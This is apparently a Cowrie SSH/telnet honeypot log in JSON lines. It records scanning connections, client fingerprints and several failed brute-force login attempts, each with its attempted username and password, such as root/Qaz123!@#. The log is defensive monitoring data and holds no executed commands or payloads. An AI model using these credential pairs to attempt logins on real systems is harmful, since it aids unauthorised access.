{"eventid":"cowrie.session.connect","src_ip":"196.189.51.7","src_port":42062,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4bb86925c3d","protocol":"ssh","message":"New connection: 196.189.51.7:42062 (10.17.0.5:22) [session: e4bb86925c3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:02.414812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:02.421966Z","src_ip":"196.189.51.7","session":"e4bb86925c3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:02.595910Z","src_ip":"196.189.51.7","session":"e4bb86925c3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz123!@#","message":"login attempt [root/Qaz123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:03.104015Z","src_ip":"210.183.21.53","session":"13596f19c6d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Digital@2017","message":"login attempt [root/Digital@2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:03.297200Z","src_ip":"196.189.51.7","session":"e4bb86925c3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:04.304802Z","src_ip":"210.183.21.53","session":"13596f19c6d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:04.468634Z","src_ip":"196.189.51.7","session":"e4bb86925c3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.967368125915527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:05.019834Z","src_ip":"68.66.193.100","session":"141ed9ade1f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.887781858444214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:05.052304Z","src_ip":"68.66.193.100","session":"32f5a39d3c2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.992015600204468,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:06.093985Z","src_ip":"68.66.193.100","session":"96d080271619","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.974772930145264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:07.045213Z","src_ip":"173.231.221.77","session":"5c137274285d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.231.221.77","src_port":48972,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8e9dc25076d","protocol":"telnet","message":"New connection: 173.231.221.77:48972 (10.17.0.5:23) [session: f8e9dc25076d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:08.280568Z"}
{"eventid":"cowrie.session.closed","duration":31.0829119682312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:09.158798Z","src_ip":"173.231.221.77","session":"53be2f2837dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94637393951416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:11.024592Z","src_ip":"173.231.221.77","session":"eec76bc78b27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.55.174","src_port":55920,"dst_ip":"10.17.0.5","dst_port":23,"session":"956e1a72f636","protocol":"telnet","message":"New connection: 161.35.55.174:55920 (10.17.0.5:23) [session: 956e1a72f636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:12.216228Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.231.221.77","src_port":51602,"dst_ip":"10.17.0.5","dst_port":23,"session":"1182701add18","protocol":"telnet","message":"New connection: 173.231.221.77:51602 (10.17.0.5:23) [session: 1182701add18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:12.777008Z"}
{"eventid":"cowrie.session.closed","duration":30.988903760910034,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:14.021741Z","src_ip":"173.231.221.77","session":"5509b9edb6fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.886846780776978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:14.028111Z","src_ip":"173.231.221.77","session":"9cc993ebb77e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.004531621932983,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:14.071989Z","src_ip":"68.66.193.100","session":"70e29ecc03c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96205496788025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:15.124797Z","src_ip":"173.231.221.77","session":"00b4f9b081ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.094784021377563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:16.161098Z","src_ip":"68.66.193.100","session":"6bd52c0a9257","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01881504058838,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:17.090898Z","src_ip":"173.231.221.77","session":"d33ea7fdcbb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.869490385055542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:19.010950Z","src_ip":"173.231.221.77","session":"235c9a41b792","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0359148979187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:21.063484Z","src_ip":"173.231.221.77","session":"182ae1f86380","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":28200,"dst_ip":"159.203.135.109","dst_port":22,"session":"9647ad41717c","protocol":"ssh","message":"New connection: 194.59.206.2:28200 (159.203.135.109:22) [session: 9647ad41717c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:21.362051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:21.526573Z","src_ip":"194.59.206.2","session":"9647ad41717c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:21.558131Z","src_ip":"194.59.206.2","session":"9647ad41717c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:21.962355Z","src_ip":"194.59.206.2","session":"9647ad41717c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.55.174","src_port":58282,"dst_ip":"10.17.0.5","dst_port":23,"session":"53204c516ea2","protocol":"telnet","message":"New connection: 161.35.55.174:58282 (10.17.0.5:23) [session: 53204c516ea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:22.240919Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":3108,"dst_ip":"10.17.0.5","dst_port":22,"session":"96ca1f0ce92e","protocol":"ssh","message":"New connection: 201.149.53.243:3108 (10.17.0.5:22) [session: 96ca1f0ce92e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:23.817513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:23.823779Z","src_ip":"201.149.53.243","session":"96ca1f0ce92e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:23.888333Z","src_ip":"201.149.53.243","session":"96ca1f0ce92e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.006638288497925,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:24.019028Z","src_ip":"161.35.55.174","session":"2d1d6a07e86c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"tester","password":"123456","message":"login attempt [tester/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:24.173957Z","src_ip":"201.149.53.243","session":"96ca1f0ce92e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:25.241011Z","src_ip":"201.149.53.243","session":"96ca1f0ce92e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.014435529708862,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:27.024530Z","src_ip":"161.35.55.174","session":"73dc790fd81b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48922,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd55a05f6477","protocol":"ssh","message":"New connection: 159.203.92.129:48922 (159.203.135.109:22) [session: dd55a05f6477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:29.051763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:29.055950Z","src_ip":"159.203.92.129","session":"dd55a05f6477","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:29.060878Z","src_ip":"159.203.92.129","session":"dd55a05f6477","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"XIAJINGSONG","password":"XIAJINGSONG123","message":"login attempt [XIAJINGSONG/XIAJINGSONG123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:29.075241Z","src_ip":"159.203.92.129","session":"dd55a05f6477","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:30.084644Z","src_ip":"159.203.92.129","session":"dd55a05f6477","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.55.174","src_port":60690,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3798f0ac7ea","protocol":"telnet","message":"New connection: 161.35.55.174:60690 (10.17.0.5:23) [session: d3798f0ac7ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:30.489133Z"}
{"eventid":"cowrie.session.closed","duration":30.951006650924683,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:31.001034Z","src_ip":"161.35.55.174","session":"8e35cbf81221","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.015244007110596,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:31.052135Z","src_ip":"161.35.55.174","session":"d4f76a0e4d5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.109.7.235","src_port":36362,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cedd503e09d","protocol":"telnet","message":"New connection: 103.109.7.235:36362 (10.17.0.5:23) [session: 5cedd503e09d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:33.616062Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.109.7.235","src_port":36376,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bcc7bdbffe4","protocol":"telnet","message":"New connection: 103.109.7.235:36376 (10.17.0.5:23) [session: 9bcc7bdbffe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:36.830931Z"}
{"eventid":"cowrie.session.closed","duration":30.736588716506958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:39.017045Z","src_ip":"173.231.221.77","session":"f8e9dc25076d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.109.7.235","src_port":44598,"dst_ip":"10.17.0.5","dst_port":23,"session":"308b8299183d","protocol":"telnet","message":"New connection: 103.109.7.235:44598 (10.17.0.5:23) [session: 308b8299183d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:41.783297Z"}
{"eventid":"cowrie.session.connect","src_ip":"3.129.187.38","src_port":33470,"dst_ip":"10.17.0.5","dst_port":23,"session":"aebe8309c52a","protocol":"telnet","message":"New connection: 3.129.187.38:33470 (10.17.0.5:23) [session: aebe8309c52a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:42.298051Z"}
{"eventid":"cowrie.session.closed","duration":30.81130290031433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:43.027406Z","src_ip":"161.35.55.174","session":"956e1a72f636","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.341350555419922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:43.118140Z","src_ip":"173.231.221.77","session":"1182701add18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.109.7.235","src_port":44610,"dst_ip":"10.17.0.5","dst_port":23,"session":"e51fe8f90ed0","protocol":"telnet","message":"New connection: 103.109.7.235:44610 (10.17.0.5:23) [session: e51fe8f90ed0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:44.561351Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":32832,"dst_ip":"159.203.135.109","dst_port":22,"session":"860bed71a71f","protocol":"ssh","message":"New connection: 221.139.88.149:32832 (159.203.135.109:22) [session: 860bed71a71f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:47.141119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:47.146749Z","src_ip":"221.139.88.149","session":"860bed71a71f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:47.380047Z","src_ip":"221.139.88.149","session":"860bed71a71f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2123","message":"login attempt [root/admin2123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:48.374748Z","src_ip":"221.139.88.149","session":"860bed71a71f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:49.602903Z","src_ip":"221.139.88.149","session":"860bed71a71f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.02216100692749,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:52.320089Z","src_ip":"3.129.187.38","session":"aebe8309c52a","protocol":"telnet"}
